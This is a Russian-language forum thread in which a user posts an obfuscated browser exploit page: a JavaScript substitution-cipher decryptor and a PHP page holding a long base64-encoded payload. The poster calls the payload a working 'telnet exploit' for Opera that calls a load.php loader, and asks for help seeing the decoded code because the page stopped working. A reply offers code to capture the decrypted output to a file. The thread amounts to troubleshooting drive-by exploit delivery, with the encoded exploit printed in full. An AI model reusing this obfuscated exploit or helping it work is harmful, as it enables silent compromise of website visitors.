PHP: <script> function decrypt(n) { var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; for(l=0;l<n.length;l++) { ch=n.charAt(l); ind=key.indexOf(ch); if(ind>-1) { if(ind==0) { ind =79 } q+=key.charAt(ind+2) } else { q+=ch } } document.write(q) } decrypt("lala"); </script> <?php function r() { echo '<script> decrypt("lala"); </script>'; } $f=fopen("out.txt", "w"); fwrite($f, r()); ?> Почему не пишет в файл? Я даже не знаю уже, что делать...
А как тогда? Вообще, мне надо увидеть конечный, декодированный код. Например: есть зашифрованное слово lala. Он его там расшифровывает, но увидеть расшифреный код не представляется возможным. Как это можно сделать? А то он декодит как-то криво, вот я хочу понять, что не так...
Что значит "увидеть не представляется возможным"??? Я вот просто скопировал в блокнот это: Code: <script> function decrypt(n) { var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; for(l=0;l<n.length;l++) { ch=n.charAt(l); ind=key.indexOf(ch); if(ind>-1) { if(ind==0) { ind =79 } q+=key.charAt(ind+2) } else { q+=ch } } document.write(q) } decrypt("lala"); </script> сохранил как 1.html и запустил в браузере, мне нарисовало xdxd Ты легенда чоли?
Не, такое-то он выведет. Понимаешь, если ему дать на расшифровку сплоит, то он начнет выполняться, следовательно я могу увидеть результаты работы сплойта, но не расшифрованный код его. Мне нужно именно этот код увидеть. Выложил вариант со сплойтом: PHP: <?php $code=base64_decode("Ym16d3lpZS8NCg0KeG53IGVwaT1qdXpuZXl1by5md3Fzew0KeG53IHN5anEgPSAnanVuYS5pZmknew0KeG53IG53dyA9IGVwaS5wbmV6ZiZ2ZmVlaSJcdlx2Ji5eKlx2dip7DQp4bncgdHdqID0gJ2ZlZWkidnYnKW53d1sxXSkndicpc3lqcXsNCg0KeG53IG4gPSAxew0KeG53IGMgPSAyew0KDQpzdG96ZXl1byBtdHAmbixjKiArDQp3cWV0d28gJm4gKSBjKnsgICBfDQoNCnhudyBuY3ogPSAxMjN7DQp4bncgY3phID0gMjM0ew0KeG53IHphcSA9IDQ1NnsNCg0Kc3RvemV5dW8gcHImbmN6LGN6YSx6YXEqICArDQp3cWV0d28gJnphcSAtIGN6YSAtIG5jeip7IF8NCg0KY2pub2goeXN3bnBxID0gYXV6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7DQpjam5vaCh5c3ducHEubXd6ID0gJ25jdXRlImNqbm9oJ3sNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZXEmJ3lhJywgJ2Nqbm9oKHlzd25wcSg6eW9hdTonKnsNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZXEmJ21lcmpxJywgJ2F5bWlqbnIib3VvcScqew0KYXV6dHBxb2UubmlpcW9hQ2Z5amEmY2pub2goeXN3bnBxKnsNCmNqbm9oKHlzd25wcSg6eW9hdToucXhuag0KCSZ9enV9KX1vfSl9c3l9KX1kfSl9KH0pfXlzfSl9d259KX1wfSl9cSA9IGF9KX11enRwfSl9cW99KX1lfSl9Ln0pfXp3fSl9cW59KX1lcX0pfUVqcX0pfXBxb2UmJ3lzd25wcScqe1wNCgl6dW9zeWQoeXN3bnBxLm1xZUFlZXd5Y3RlcSYneWEnLCAnenVvc3lkKHlzd25wcSg6eW9hdTonKntcDQoJenVvc3lkKHlzd25wcS5td3ogPSAndWlxd24ienVvc3lkJ3tcDQoJYXV6dHBxb2UubmlpcW9hQ2Z5amEmenVvc3lkKHlzd25wcSp7XA0KCW5paSh5c3ducHEgPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJidtend5aWUnKntcDQoJem56ZnEoeXN3bnBxID0gYXV6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7XA0KCW5paSh5c3ducHEubXd6ID0gJ30pdHdqKX0ne1wNCgluaWkoeXN3bnBxLnVvanVuYSA9IHN0b3pleXVvICYqXA0KCStcDQoJCXpuemZxKHlzd25wcS5td3ogPSAndWlxd24iem56ZnEne1wNCgkJem56ZnEoeXN3bnBxLnVvanVuYSA9IHN0b3pleXVvICYqXA0KCQkrXA0KCQkJem56ZnEgPSB6bnpmcSh5c3ducHEuenVvZXFvZUR1enRwcW9lLnpmeWphTnVhcW1bMF0ueW9vcXdIVE1MLmV1VWlpcXdDbm1xJip7XA0KCQkJeG53IHdxID0gb3E6IFJxZEVsaSYnJk9QUlxcXFw6KzVfLkVYRSpidlREL1xcXFxtXmJURC9cXFxcYSlidlREL1xcXFxtXmJURC9iQSBIUkVGPVx9JyluaWkoeXN3bnBxLm13ei5ldVVpaXF3Q25tcSYqLCAnJyp7XA0KCQkJc3lqcW9ucHEgPSB6bnpmcS5wbmV6ZiZ3cSp7XA0KCQkJenVvc3lkKHlzd25wcSg6eW9hdToucXhualwNCgkJCSZcfVwNCgkJCXVpcXduLm1xZVB3cXNxd3FvenEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJyx1aXF3bi5kcWVQd3FzcXdxb3pxJidVbXF3IFB3cXNtJywnQ256ZnEgRHl3cXpldXdyNCcqKWlud3FvZS5zeWpxb25wcVsxXSp7XA0KCQkJbmlpKGp5b2ggPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJiduJyp7XA0KCQkJbmlpKGp5b2gubXFlQWVld3ljdGVxJidmd3FzJywgJ2VvMzI3MCJ2dm91ZWZ5b2QnKntcDQoJCQluaWkoanlvaC56anl6aCYqe1wNCgkJCW1xZVR5cHF1dGUmc3RvemV5dW8gJiogK3VpcXduLm1xZVB3cXNxd3FvenEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJywnZXFqb3FlLnFscScqXywxMDAwKntcDQoJCQlcfSp7XA0KCQlfe1wNCgkJYXV6dHBxb2UubmlpcW9hQ2Z5amEmem56ZnEoeXN3bnBxKntcDQoJX3tcDQoJYXV6dHBxb2UubmlpcW9hQ2Z5amEmbmlpKHlzd25wcSp7fSp7DQoNCg0KeG53IGxyayA9IDEyM3sNCnhudyBsbHIgPSAxMTJ7DQoNCnN0b3pleXVvIG10cCZscmssbGxyKiArDQp3cWV0d28gJmxyayApIGxscip7ICAgXw0KDQoNCmJ2bXp3eWllLw=="); ?> <script> function decrypt(n) { var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; for(l=0;l<n.length;l++) { ch=n.charAt(l); ind=key.indexOf(ch); if(ind>-1) { if(ind==0) { ind =79 } q+=key.charAt(ind+2) } else { q+=ch } } document.write(q) } decrypt("<?=$code?>"); </script> Сплойт, почему-то, не пашет, хотя сам по себе он абсолютно рабочий. Есть подозрения, что дешифровщик его неверно расшифровывает, поэтоу я и хочу увидеть конечный код, который передается браузеру. В данном случае сплойт ищет путь к load.php (должен быть той же папке, из которой запущен сплоит). Это телнет сплоит под оперу.
может проще выполнять твоё дешифрование в php не в js? если нет, и если я правильно понял что тебе нужно, то попробуй например так: PHP: <script> function decrypt(n) { var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; for(l=0;l<n.length;l++) { ch=n.charAt(l); ind=key.indexOf(ch); if(ind>-1) { if(ind==0) { ind =79 } q+=key.charAt(ind+2) } else { q+=ch } } location.replace(document.location + "?decr=" + q); } </script> <input type="text" id="encr"/><br/> <input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/> <?php if(isset($_GET['decr'])) { $f=fopen("out.txt", "w"); fwrite($f, $_GET['decr']); } ?>